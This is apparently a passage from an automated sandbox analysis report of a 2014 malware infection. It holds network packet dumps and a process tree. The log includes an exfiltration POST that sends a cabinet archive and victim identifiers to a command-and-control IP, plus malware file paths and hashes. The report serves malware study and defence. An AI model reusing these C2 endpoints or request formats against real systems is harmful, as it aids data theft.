Feb 27, 2014 17:56:12.075481892 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a bd 0b 4d 4b 0c 19 78 b9 68 fa 18 8e 4f 16 f9 47 68 ca 10 a7 49 d3 04 48 41 e5 e1 8e 45 fa 26 af 2c 55 f5 9a ad f7 1c af 23 92 c4 ca ac d0 d1 cb 60 fa 17 ab 48 53 35 a3 cc 00 18 aa 20 45 db 83 3c 92 38 a3 9d 17 fd a7 b3 47 fa 02 49 68 3d 5a a8 Data Ascii: JMKxhOGhIHAE&,U#`HS5 E<8GIh=Z\|ZI#,!W1@PjrmUb`JN,[8EGLy=;QH(ym*"R]!YJ@DQ6I$pqUEJMe_T,yW5	1130
Feb 27, 2014 17:56:12.086292028 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f6 1d 8f 2c 17 ea c7 28 d7 19 fe 41 f6 f9 af 4d bb 18 eb 0c db fb 4a 49 ff 1d 8f 78 97 79 23 a4 93 06 8b ac 6b ce a6 48 da f9 ae 16 d3 10 a6 49 a8 79 da 2c 7b 7d bd ac 04 3d 7c ac 1a f9 8a 51 fa 10 a6 48 ae 1c 4a 4c d2 11 87 2c 97 94 ce ae e4 fc Data Ascii: ,(AMJIxy#kHIy,{}=\|QHJL,RhIJxHLM,}W=VJl<,-OK+0qhFI!<O0@H@HTmhjom,7hJsyn)<<X	1132
Feb 27, 2014 17:56:12.086308956 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: df 18 d5 4c 15 d1 ca 93 5f dd 5a 64 17 f4 a2 68 15 36 cb b8 c8 f4 cb 65 f6 85 4a 69 f2 15 a6 93 de 15 a7 7c f2 51 a6 6d 57 50 ca ac 28 38 63 e8 db 4e 0a a2 f3 10 a2 cc 15 36 6a 2c 97 10 ca 5f 57 41 ae 04 05 1c 6a b9 d3 10 ea b2 e1 38 ae e4 f7 10 Data Ascii: L_Zdh6eJi\|QmWP(8cN6j,_WAj8Y6j0sEfXA8U{KLE8IYtIx$bE1LKn,]7mty+_ggl>lNRCxI5Bz4<G	1133
Feb 27, 2014 17:56:12.086311102 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 16 58 eb de 25 ff 9a 7b 97 1a 2e ef 07 95 8a 8c f2 1d 36 45 87 7a a4 9d c7 74 ca 7f 9e ee 95 3d 12 78 ca 2c d7 10 71 48 d7 15 ae 8c 62 29 8f 68 ec 30 ac a6 92 89 6a 5c 65 a9 ae 48 68 19 2a cf 2d 29 2b 2c a7 76 4f 2c f3 d9 46 5c 12 06 eb f8 15 37 Data Ascii: X%{.6Ezt=x,qHb)h0j\eHh*-)+,vO,F\7zV,8dAm Y4WLoyS8m)J,3l7i,,P\uOOiZ['8]IFyyi8LMEJIy<8LHsH.	1134
Feb 27, 2014 17:56:12.141473055 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 7d a7 49 a8 14 ab 4c fe e8 8a fe 7b 7d b1 6c 6c 18 b6 49 16 39 34 73 7b 79 87 4c 76 1c 43 2c 6d b7 ab ac 34 06 06 2d da dd ae 0c 37 f7 aa 8d b7 82 ae 95 17 1d ca e4 96 47 87 48 f6 b1 a6 ae f7 19 4b e2 f3 d9 4c c3 15 95 0a a5 e8 14 a7 41 f3 01 Data Ascii: }IL{}llI94s{yLvC,m4-7GHKLAjISVA\|HKo,xa^G#IU:y37LUNH{x9E,yO9Ee,~xLHa11a=E$QaMnE<	1136
Feb 27, 2014 17:56:12.141480923 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d3 08 43 e0 e6 f0 8e 5d 1e 53 06 5d 1e 3d bb a5 5b 08 43 68 e6 f0 40 e0 e6 f0 8e 5c 1e 55 07 20 bb f9 ce 00 c2 75 e6 08 bb a4 48 00 57 f9 9f 00 bb 3d e6 f1 9d 35 0a ac c2 f9 cc 00 4a 15 0a ac 97 2c a6 00 13 55 17 a0 57 f9 1e 79 1b b9 0b f1 86 b8 Data Ascii: C]S]=[Ch@\U uHW=5J,UWy=V=V,Jhy=VhBhy=V,Jh=V_=V,Jhy{T(Ch]=[CC]f3\f3\f<\Z-qhf3\oKu,=J(q\\	1137
Feb 27, 2014 17:56:12.141484022 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 3d eb b5 7e 58 2e 0d 82 f9 6f 0c 32 59 ce 69 b6 19 42 0d df d4 ca 38 93 bc eb e9 17 5d 0f 80 b2 9c ef 75 b3 f8 4a 3e 93 b1 ef 68 bf 38 a2 ac bf b4 e2 b1 93 50 c3 05 97 6c e6 05 d3 50 1b a0 97 a4 4a fd 7f 50 c6 04 8f 5c e2 ac b6 51 8e 6c bf 30 Data Ascii: =~X.o2YiB8]uJ>h8PlPJP\Ql0 uC:VQK,9PaPJ}JU_9cSUwUNLJWy-("-(xY1x@4Ju\l\iQ	1139
Feb 27, 2014 17:56:12.141486883 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: bb 79 86 21 ba 5d e7 a4 1e 9b 6c 0c 97 7d ca 53 3f 98 56 05 67 c0 6e 39 5f 99 0e 31 96 09 7c 75 93 f9 eb 21 b6 ac a2 0d fa 58 4e 7d 1e 39 5b b4 3a 59 6b 0c 13 39 66 fc 2c b1 02 0c 53 59 58 68 66 fb 46 c4 07 c3 8a c4 b7 f9 c7 0d 5b 7d eb 20 b6 f9 Data Ascii: y!]l}S?Vgn9_1\|u!XN}9[:Yk9f,SYXhfF[} Xle1[>XgO~:\h:UBQ_ah"^J-{UChk;TTu h7BBTTSJT8_hSIJA,J58y	1140
Feb 27, 2014 17:56:12.141489029 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 44 64 a7 8c 32 ec 0a 85 b7 31 eb 31 da 29 5a 35 37 d5 eb 84 b6 6c 2b 8d 46 f0 4b cc ab b1 27 0d 9f 5d 03 05 37 5d 86 08 ca d8 5a e2 ce 98 6a 08 7e 5d 1f 21 97 c1 db 05 5e 79 79 79 d6 99 f8 35 da 49 7f f1 85 1c 1a 9a 06 f1 9a b3 0a b9 aa 47 17 64 Data Ascii: Dd211)Z57l+FK']7]Zj~]!^yyy5IGd/{\)}!XiN]*5zqEhQdh3^,Jj4nUgdT_9he}h"FZsU5y/YW{XJ	1142
Feb 27, 2014 17:56:12.141602039 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 91 e7 41 ba 25 67 01 3f ea ea ff 77 e8 95 a0 76 e2 e3 0c d6 f9 ea b5 be 58 e6 0d 86 14 6a 0d 1f 58 57 a1 97 f9 df a1 17 58 62 0d 0a d4 eb 88 b6 fb db 6c 45 58 1f 80 b7 91 eb ac 1f 74 ee a5 b3 ec 67 08 17 9d ee 31 7f 5d 4b 09 46 f9 42 09 7f 5c Data Ascii: A%g?wvXjXWXblEXtg1]KFB\jUKI'yBYTT8j9MjuJhU1DMUJ}UN_dT',0_mY-!,6Y<;Y	1143
Feb 27, 2014 17:56:12.398926973 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: bf 70 e3 e4 9f 50 e3 05 37 f9 4a 05 3a 50 ca 9b da 54 4a bd f3 54 4e 01 06 d0 e7 bc 37 54 df e4 57 cf db 21 bb f9 87 00 17 19 e6 88 bb f1 0a e9 bb 90 e6 a8 da d9 83 e0 95 90 88 c6 97 7c ca 53 17 b8 05 b6 b3 78 89 8c 37 99 6a 13 d7 58 53 8c fe 58 Data Ascii: pP7J:PTJTN7TW!\|Sx7jXSX=;*, Y,YK3o)y#18d;B7qD7SB7J9]_lBtyP@J =Yd;YsY$9MHD[A	1144
Feb 27, 2014 17:56:12.398943901 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: bb bd 82 1c 83 f9 6e ac 35 71 80 29 d7 ef 4e 7c d5 79 c5 4d 1d ab 59 88 68 fd fa 23 0a 74 0a f3 06 dc ea 0d f6 59 5e 20 77 bd ca ad b0 f5 1f 0c 97 58 9a f7 3a 5c 1b 24 17 5d c6 08 df 18 ef e5 b2 79 ce ec be b0 e3 39 5b c9 63 3e 0f c8 eb a8 be b9 Data Ascii: n5q)N\|yMYh#tY^ wX:\$]y9[c>g(i8[\|6Pu+x \|Jq&7C-wW_yFUF9.TN`Shl0%^}5;Y_.~Y}R[xns\lz,y=+	1146
Feb 27, 2014 17:56:12.398947001 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: be 24 4b ad 42 7d e2 24 bf fb 86 ad 16 bd ee 04 bf 51 86 85 16 f8 0e 68 d7 63 86 ad 16 bd ae 3c bf 11 e2 60 16 f8 0e a8 17 ca d2 e8 97 39 0a e4 d7 79 ca d3 97 d2 4a 0c ca 7d ea 24 b7 ac e6 3c b7 79 ca 73 97 fd ca 53 28 f8 b5 93 16 c6 4b 93 16 c6 Data Ascii: $KB}$Qhc<`9yJ}$<ysS(KKfJ3fJL02B;@KTJJJzU~S*J6ww'JABJwwqJJ4wK=;JBwBJwr*J	1147
Feb 27, 2014 17:56:12.622159004 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e8 e7 b2 b2 78 0e 9a aa e6 fe bd 90 78 0d 4b fd 47 88 44 3d 1f 04 35 a9 26 85 6e 7d 1f 68 4e 9d 07 4a 0f 99 34 26 b5 f2 6c fd bd 8f 68 fd 3b a8 7a ad 04 1d 19 23 22 5e 00 98 38 ad 24 b9 21 53 12 05 4f 03 e8 db b5 ba ea ef d1 aa 73 0b 5c cd c3 fc Data Ascii: xxKGD=5&n}hNJ4&lh;z#"^8$!SOs\rI;f})'SS[${&5h9vJH?qRYgJ#y>7jJ%MHy/JvJJ@J5J?D4Z	1148
Feb 27, 2014 17:56:12.622175932 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 c9 24 c5 79 b9 4c cc e8 27 5b 54 1f 06 5c e3 18 82 48 43 04 44 52 b3 13 d8 be 8f 7e 8b 3e d9 47 f2 2e c5 f5 8a 6d be 7a 98 3a d3 3f d6 4e 9d 11 56 45 a4 e8 d0 45 a4 60 e2 39 8c 04 98 bb af 18 d9 5d 3c 06 71 4e d8 3e 9c 2c cd 62 05 26 d8 b8 eb Data Ascii: $yL'[T\HCDR~>G.mz:?NVEE`9]<qN>,b&jK)f>%#(8{BJIJz1J+J)w2IJ''a{kH1JJ\cni7I~I\^2J'g=GJiJ%;`w	1150
Feb 27, 2014 17:56:12.622179031 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 47 22 f5 90 17 9e 1d e0 df 6d 1e fb dd f9 ed 52 87 ff 1c 0e fc 6c 4a 49 86 34 f6 8c e9 4a f6 ac 83 c6 53 ef e7 92 b3 bf 17 4b 92 29 ab e9 e2 9a c0 f9 e0 cb 85 35 d9 9c 6d dd 4a eb 05 57 55 21 8c ce 2f ac a8 bf 5d ab b3 01 86 e0 17 6e 39 b9 c0 a5 Data Ascii: G"mRlJI4JSK)5mJWU!/]n9tbMAJN8OpSKIJO>aM-xw!jONR(J{{+'k(gNhuU?J8(CsvtG;AV}aU2yJ,	1151
Feb 27, 2014 17:56:12.622271061 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 45 98 4a c5 64 9c 0f d4 74 9c 3a a9 a4 ff 48 5e 1e 98 39 d8 52 8b 0a de 78 8b 4a ac d8 2b 48 ea 33 8b 2f 1c 1d 5c 4e 3c 1e ac 24 16 7f ab 5b c8 51 fa ca cc 66 fc 52 d1 04 f9 1d ac 17 e0 4b e9 6f 90 49 2e 04 b8 59 89 12 ae 38 c5 63 d3 2f 2e 74 9d Data Ascii: EJdt:H^9RxJ+H3/\N<$[QfRKoI.Y8c/.tysZH^{Kv+a#x'>e$dJsv8x?cn/HPCtxG%J~#v#r~D $D:yzH_&{C3r/cIdHJ	1152
Feb 27, 2014 17:56:12.622524977 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 63 c9 4a c0 27 f9 2e 9c 17 a5 7a ac bd ad 7a ac 5b c9 4a e8 27 f9 76 9c 17 53 7e 9c 17 d5 7a ac 33 c9 4a b0 27 f9 f8 a0 27 f9 b2 31 27 f7 7a ac f7 c9 4a f9 e6 fb 9e dc 17 31 7a ac af c9 4a 08 42 c9 4a 38 27 f9 ca 9c 17 95 7a ac 73 ac 7a ac 4b c9 Data Ascii: cJ'.zz[J'vS~z3J''1'zJ1zJBJ8'zszKJ'juF>JJd;^D@\H<]Q'!:9:C!uJ\(mBk_OXsKB{yx/;cJJJF{'m	1153
Feb 27, 2014 17:56:14.193988085 MEZ	1061	80	192.168.0.18	98.139.183.24	GET / HTTP/1.1 Host: www.yahoo.com	1154
Feb 27, 2014 17:56:14.835745096 MEZ	80	1061	98.139.183.24	192.168.0.18	HTTP/1.1 301 Redirect Date: Thu, 27 Feb 2014 16:56:14 GMT Connection: close Via: HTTP/1.1 ir7.fp.bf1.yahoo.com (YahooTrafficServer/1.20.13 [c s f ]) Server: YTS/1.20.13 Cache-Control: no-store Content-Type: text/html Content-Language: en Location: https://www.yahoo.com/ Content-Length: 212 Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 52 65 64 69 72 65 63 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 77 68 69 74 65 22 20 46 47 43 4f 4c 4f 52 3d 22 62 6c 61 63 6b 22 3e 0a 3c 46 4f 4e 54 20 46 41 43 45 3d 22 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 22 3e 3c 42 3e 0a 20 22 3c 65 6d 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3c 2f 65 6d 3e 22 2e 3c 70 3e 3c 2f 42 3e 3c 2f 46 4f 4e 54 3e 0a 0a 3c 21 2d 2d 20 64 65 66 61 75 6c 74 20 22 52 65 64 69 72 65 63 74 22 20 72 65 73 70 6f 6e 73 65 20 28 33 Data Ascii: <HEAD><TITLE>Redirect</TITLE></HEAD><BODY BGCOLOR="white" FGCOLOR="black"><FONT FACE="Helvetica,Arial"><B> "<em>https://www.yahoo.com/</em>".<p></B></FONT> default "Redirect" response (3	1154
Feb 27, 2014 17:56:14.920516014 MEZ	80	1061	98.139.183.24	192.168.0.18	Data Raw: 30 31 29 20 2d 2d 3e 0a 3c 2f 42 4f 44 59 3e 0a 00 Data Ascii: 01) --></BODY>	1154
Feb 27, 2014 17:56:18.628112078 MEZ	1063	80	192.168.0.18	23.61.69.163	GET /crls/secureca.crl HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: crl.geotrust.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache	1158
Feb 27, 2014 17:56:19.014589071 MEZ	80	1063	23.61.69.163	192.168.0.18	HTTP/1.1 200 OK Server: Apache ETag: "0782e17d3ac2ea05e863533d1df5a39c:1393515316" Last-Modified: Thu, 27 Feb 2014 15:35:16 GMT Accept-Ranges: bytes Content-Length: 1516 Date: Thu, 27 Feb 2014 16:56:18 GMT Connection: keep-alive Content-Type: application/pkix-crl Data Raw: 30 82 05 e8 30 82 05 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 4e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 10 30 0e 06 03 55 04 0a 13 07 45 71 75 69 66 61 78 31 2d 30 2b 06 03 55 04 0b 13 24 45 71 75 69 66 61 78 20 53 65 63 75 72 65 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 17 0d 31 34 30 32 32 37 31 34 30 33 30 30 5a 17 0d 31 34 30 33 30 39 31 34 30 33 30 30 5a 30 82 04 d0 30 14 02 03 0c b3 26 17 0d 31 32 30 36 32 37 31 37 31 30 33 36 5a 30 14 02 03 0d bc 17 17 0d 31 32 30 36 32 37 31 37 31 30 35 38 5a 30 14 02 03 0c 60 60 17 0d 31 32 30 36 32 37 31 37 31 30 33 34 5a 30 14 02 03 03 1e 33 17 0d 30 32 30 35 31 35 31 33 30 36 31 Data Ascii: 00Q0*H0N10UUS10UEquifax1-0+U$Equifax Secure Certificate Authority140227140300Z140309140300Z00&120627171036Z0120627171058Z0``120627171034Z0302051513061	1158
Feb 27, 2014 17:56:19.149305105 MEZ	80	1063	23.61.69.163	192.168.0.18	Data Raw: 31 5a 30 14 02 03 15 6a 1f 17 0d 31 34 30 32 32 36 31 32 33 35 31 39 5a 30 14 02 03 0c db ed 17 0d 31 32 30 36 32 37 31 37 31 30 33 39 5a 30 14 02 03 09 e7 a2 17 0d 31 32 30 36 32 37 31 37 31 30 30 32 5a 30 14 02 03 0c cf ad 17 0d 31 32 30 36 32 Data Ascii: 1Z0j140226123519Z0120627171039Z0120627171002Z0120627171038Z0i120627171035Z0100301134531Z0100623141752Z0h120627170950Z0120627171026Z0120627171025Z0120627171016	1159
Feb 27, 2014 17:56:19.346937895 MEZ	80	1063	23.61.69.163	192.168.0.18	Data Raw: 36 32 37 31 37 31 30 31 34 5a 30 14 02 03 13 9c ab 17 0d 31 30 30 37 32 39 31 36 34 34 33 39 5a 30 14 02 03 15 78 c8 17 0d 31 33 30 39 32 34 32 30 34 33 34 32 5a 30 14 02 03 0d 08 44 17 0d 31 32 30 36 32 37 31 37 31 30 35 31 5a 30 14 02 03 0c 16 Data Ascii: 627171014Z0100729164439Z0x130924204342Z0D120627171051Z0N100623141726Z0zo120627171025Z0/(120627171032Z07120627171052Z0120627171036Z0090417163929Z0120627171017Z01206	1160
Feb 27, 2014 17:56:25.740269899 MEZ	1064	80	192.168.0.18	98.139.183.24	GET / HTTP/1.1 Host: www.yahoo.com	1200
Feb 27, 2014 17:56:26.210585117 MEZ	1059	80	192.168.0.18	95.211.192.195	POST /data?version=1006&group=0227&client=063b46785777ce6ac12c9b3e8520ff52&computer=506407&os=5.1&latency=0.0&type=8 HTTP/1.1 User-Agent: Microsoft-CryptoAPI/6.1 Host: 95.211.192.195 Content-Length: 12690 Connection: Keep-Alive Cache-Control: no-cache	1200
Feb 27, 2014 17:56:26.210658073 MEZ	1059	80	192.168.0.18	95.211.192.195	Data Raw: 4d 53 43 46 00 00 00 00 92 31 00 00 00 00 00 00 2c 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00 00 00 00 00 43 00 00 00 05 00 01 00 98 55 02 00 00 00 00 00 00 00 5b 44 05 8f 20 00 5f 39 2e 74 6d 70 00 8e 99 03 aa 79 17 00 80 43 4b cc 5c 5b 73 e3 Data Ascii: MSCF1,CU[D _9.tmpyCK\[sr~^W?f\|!NYmX2WSSI<-$e!4HlIlxgl<>L$?bhy\|t@$AVq),(KI~F(/D%(xe	1201
Feb 27, 2014 17:56:26.210700989 MEZ	1059	80	192.168.0.18	95.211.192.195	Data Raw: 82 1b 1a 53 15 0b 6d a1 26 83 89 a6 e8 36 1a 2f 4d 95 52 2a ac c5 68 29 ad 95 32 2c bc 94 e0 86 06 c1 c7 42 e3 a5 19 52 ca 02 26 a2 a5 cc 95 94 89 f7 86 25 a5 6c 83 a1 23 80 66 b7 52 b6 86 9e 95 ba e4 06 ac be 0a 1a 65 5d 72 c3 52 29 de f3 7a bb Data Ascii: Sm&6/MRh)2,BR&%l#fRe]rR)z4_K0LuhB1zFM-$RWEPhL&`YGm}ahRgBSW4m[nx!C7}aJRY&[B'IaI	1203
Feb 27, 2014 17:56:26.210841894 MEZ	1059	80	192.168.0.18	95.211.192.195	Data Raw: fa 57 0e b9 00 53 2e a3 b8 aa 13 88 0e 3f 99 c2 4f e5 7b ea 4f bc 66 88 b3 be 4b ea 0f 9e 8b 2c e5 e3 9a 84 41 e4 ed d3 04 8e 62 42 93 57 41 ee d7 e6 95 f5 63 da 45 40 c6 c3 d1 f9 c8 1d 8e 09 7f aa 75 9f 26 4d e9 31 5b d8 04 29 71 91 0b af f7 ef Data Ascii: WS.?O{OfK,AbBWAcE@u&M1[)q&?sH;x^h*ePVTSm+f^aI391M<Kib&)4zHz4=Zikg=m8>Ogohz j{,4Qj$#	1204
Feb 27, 2014 17:56:26.210876942 MEZ	1059	80	192.168.0.18	95.211.192.195	Data Raw: 0e 3e e9 ab 9d 2c a7 8a 62 7e 63 40 ec 64 d5 19 45 4b d0 e6 96 c1 7e 16 e8 d2 4f 33 af ec fb d2 a6 cd e8 db 5f 56 19 df ca d8 5f b7 b4 33 18 34 c5 ac 12 cb dc a6 c7 6f 18 ce e3 6a e3 71 d0 e4 e4 79 16 6e b1 c9 71 9c db 51 47 45 0d ab 94 ac ef 40 Data Ascii: >,b~c@dEK~O3_V_34ojqynqQGE@S^Eds_]lsM\|uk\|J3hjaSA;Wy+[*2Z`0gYE_$9{~jUjxw$l&RjIiS7lLTD^T76SkX	1206
Feb 27, 2014 17:56:26.210938931 MEZ	1059	80	192.168.0.18	95.211.192.195	Data Raw: cb 0c dd e6 38 88 5a 45 e2 cd ea d0 ac 01 03 98 95 a0 99 4d 40 e3 e0 bc 7e 7f 41 f3 ab 98 dd 53 b0 9d a8 22 75 e6 cc de cc 0b 3d 3e 84 31 67 de 2f c3 ff d4 b0 5b 68 14 14 5b a6 84 29 ec e6 f3 dd ba 35 c5 c1 9a cf 8d 71 c5 b8 86 e1 46 1f 09 60 78 Data Ascii: 8ZEM@~AS"u=>1g/[h[)5qF`x;wy\|;%u:CJcVPjM*^;v?R 3R\DC~Q@)l)RO#K<J\|!7x/3SM)E(@4)lJ)@n(@	1208
Feb 27, 2014 17:56:26.210973024 MEZ	1059	80	192.168.0.18	95.211.192.195	Data Raw: 4c 7e 8c 13 91 21 aa ac 00 54 c3 c5 47 e4 5c a4 22 5d f6 99 6a 79 73 91 8a e7 8a 4f d8 5c 04 5d e3 4d bf aa da 98 9b dd a6 8e 10 7a 5d 2d 30 f4 83 d7 e9 66 f7 f6 ac 83 59 ac 59 af 2b 45 7b ba 6f 04 e2 43 6f aa e5 85 7e 34 3d 8d f4 fe e9 47 d7 78 Data Ascii: L~!TG\"]jysO\]Mz]-0fYY+E{oCo~4=GxJ=#@Hk?A]CKj0_%/P~YR]m)I\:9dYw4C?P.G+/M%Y4~+BlLDW>ZD+h+W>@;	1209
Feb 27, 2014 17:56:26.211018085 MEZ	1059	80	192.168.0.18	95.211.192.195	Data Raw: 90 4d 2c 4f 25 5b c8 5e 92 84 90 c4 57 5c f3 17 22 a0 fa e0 43 4a d7 6f e4 c9 8c de cc 5f 8a 0f 41 cc 6a 62 e9 4f 6f a1 a9 4a 3f cf fd 3f b4 74 fd d6 ae 2c 31 57 ff d4 8d 7e 6a 35 b1 f4 3b 2a df a1 19 22 80 83 7e 5c ba 86 7d 7f 6a f4 86 fe 12 f4 Data Ascii: M,O%[^W\"CJo_AjbOoJ??t,1W~j5;*"~\}jS!":t_~f5CP))=c^YOujo)H-P[VIjVG[\|[MWf`3H[do^U_+[A_;'xTmC	1211
Feb 27, 2014 17:56:26.211055994 MEZ	1059	80	192.168.0.18	95.211.192.195	Data Raw: 8e 7f 2f b2 f6 37 ad aa ef 1c 6d 07 aa da f3 37 bb 3f 3c 3c 6c 05 88 98 a7 45 30 41 e5 03 f9 9c d7 8a 6f 98 4c a9 e5 2f dd 49 ec de 20 e9 93 1b 06 3e 7b 01 f7 31 8a 42 f2 66 99 b5 f8 97 dc 17 9e 8a a5 00 60 3a 0a dc 3d 05 51 9f 9d b8 1c 38 bd cd Data Ascii: /7m7?<<lE0AoL/I >{1Bf`:=Q82f63-F;/"#E3Ay/A'j42M.-{I+oeUL.If:pC 6U]j@{2}x~*K{mixKi<?g$I/qN(b	1212
Feb 27, 2014 17:56:26.211173058 MEZ	1059	80	192.168.0.18	95.211.192.195	Data Raw: 6b 2d fb 40 17 e0 04 61 d4 01 6d 63 ee 0a 98 b3 d6 f2 0f d4 07 2e 82 2a 09 49 64 00 31 30 02 24 c1 06 48 a5 34 e0 1a 19 2e 12 0c 05 49 5a 0b 66 71 dd c1 2c 79 a8 c1 2c f6 0d 66 3d da a9 cd 60 16 4f a8 92 15 82 59 8f db 69 2e 98 a5 05 c1 2c 6e 36 Data Ascii: k-@amc.Id10$H4.IZfq,y,f=`OYi.,n6M`TY`FQlw8,7LQcT]:061p6Nq6w2eN)6wJ`\rWm]1&a7^u_(&V.lmuV	1213
Feb 27, 2014 17:56:26.567281961 MEZ	80	1064	98.139.183.24	192.168.0.18	HTTP/1.1 301 Redirect Date: Thu, 27 Feb 2014 16:56:26 GMT Connection: close Via: HTTP/1.1 ir29.fp.bf1.yahoo.com (YahooTrafficServer/1.20.13 [c s f ]) Server: YTS/1.20.13 Cache-Control: no-store Content-Type: text/html Content-Language: en Location: https://www.yahoo.com/ Content-Length: 212 Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 52 65 64 69 72 65 63 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 77 68 69 74 65 22 20 46 47 43 4f 4c 4f 52 3d 22 62 6c 61 63 6b 22 3e 0a 3c 46 4f 4e 54 20 46 41 43 45 3d 22 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 22 3e 3c 42 3e 0a 20 22 3c 65 6d 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3c 2f 65 6d 3e 22 2e 3c 70 3e 3c 2f 42 3e 3c 2f 46 4f 4e 54 3e 0a 0a 3c 21 2d 2d 20 64 65 66 61 75 6c 74 20 22 52 65 64 69 72 65 63 74 22 20 72 65 73 70 6f 6e 73 65 20 28 Data Ascii: <HEAD><TITLE>Redirect</TITLE></HEAD><BODY BGCOLOR="white" FGCOLOR="black"><FONT FACE="Helvetica,Arial"><B> "<em>https://www.yahoo.com/</em>".<p></B></FONT> default "Redirect" response (	1214
Feb 27, 2014 17:56:26.638019085 MEZ	80	1064	98.139.183.24	192.168.0.18	Data Raw: 33 30 31 29 20 2d 2d 3e 0a 3c 2f 42 4f 44 59 3e 0a 00 Data Ascii: 301) --></BODY>	1214
Feb 27, 2014 17:56:26.933237076 MEZ	80	1059	95.211.192.195	192.168.0.18	HTTP/1.1 200 OK Server: nginx Date: Thu, 27 Feb 2014 16:54:59 GMT Content-Type: text/xml; charset="UTF-8" Content-Length: 0 Connection: keep-alive Content-Encoding: UTF-8	1215

Code Manipulation Behavior

System Behavior

Analysis Process: iexplore.exe PID: 776 Parent PID: 848

General

Start time:	17:54:07
Start date:	27/02/2014
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	unknown
Imagebase:	0x400000
File size:	638816 bytes
MD5 hash:	B60DDDD2D63CE41CB8C487FCFBB6419E

Chronological Activities

Analysis Process: iexplore.exe PID: 588 Parent PID: 776

General

Start time:	17:54:08
Start date:	27/02/2014
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Internet Explorer\IEXPLORE.EXE SCODEF:776 CREDAT:79873
Imagebase:	0x400000
File size:	638816 bytes
MD5 hash:	B60DDDD2D63CE41CB8C487FCFBB6419E

Chronological Activities

Analysis Process: spa.dll PID: 3352 Parent PID: 588

General

Start time:	17:54:33
Start date:	27/02/2014
Path:	C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spa.dll
Wow64 process (32bit):	false
Commandline:	C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spa.dll
Imagebase:	0x400000
File size:	6656 bytes
MD5 hash:	D89BEB665FA97FA07482542426A72F52

Chronological Activities

Analysis Process: opera_autoupdater.exe PID: 480 Parent PID: 3352

General

Start time:	17:54:33
Start date:	27/02/2014
Path:	C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\opera_autoupdater.exe
Wow64 process (32bit):	false
Commandline:	C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\opera_autoupdater.exe
Imagebase:	0x77f10000
File size:	6742 bytes
MD5 hash:	7EC185560813B702262C745A0B1DAB24

Chronological Activities

Analysis Process: iexplore.exe PID: 2232 Parent PID: 776

General

Start time:	17:54:39
Start date:	27/02/2014
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Internet Explorer\IEXPLORE.EXE SCODEF:776 CREDAT:14345
Imagebase:	0x400000
File size:	638816 bytes
MD5 hash:	B60DDDD2D63CE41CB8C487FCFBB6419E

Chronological Activities

Analysis Process: iexplore.exe PID: 2244 Parent PID: 776

General

Start time:	17:54:39
Start date:	27/02/2014
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Internet Explorer\IEXPLORE.EXE SCODEF:776 CREDAT:79874
Imagebase:	0x400000
File size:	638816 bytes
MD5 hash:	B60DDDD2D63CE41CB8C487FCFBB6419E

Chronological Activities

Analysis Process: butit.exe PID: 3032 Parent PID: 480

General

Start time:	17:55:43
Start date:	27/02/2014
Path:	C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe
Wow64 process (32bit):	false
Commandline:	C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe
Imagebase:	0x400000
File size:	329728 bytes
MD5 hash:	4437EA54E849D46273B260372C6DEC20

Chronological Activities

Analysis Process: explorer.exe PID: 1460 Parent PID: 3032

General

Start time:	17:55:47
Start date:	27/02/2014
Path:	C:\WINDOWS\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\WINDOWS\Explorer.EXE
Imagebase:	0x1000000
File size:	1033728 bytes
MD5 hash:	12896823FB95BFB3DC9B46BCAEDC9923

Chronological Activities

Analysis Process: cmd.exe PID: 2860 Parent PID: 3032

General

Start time:	17:55:51
Start date:	27/02/2014
Path:	C:\WINDOWS\system32\cmd.exe
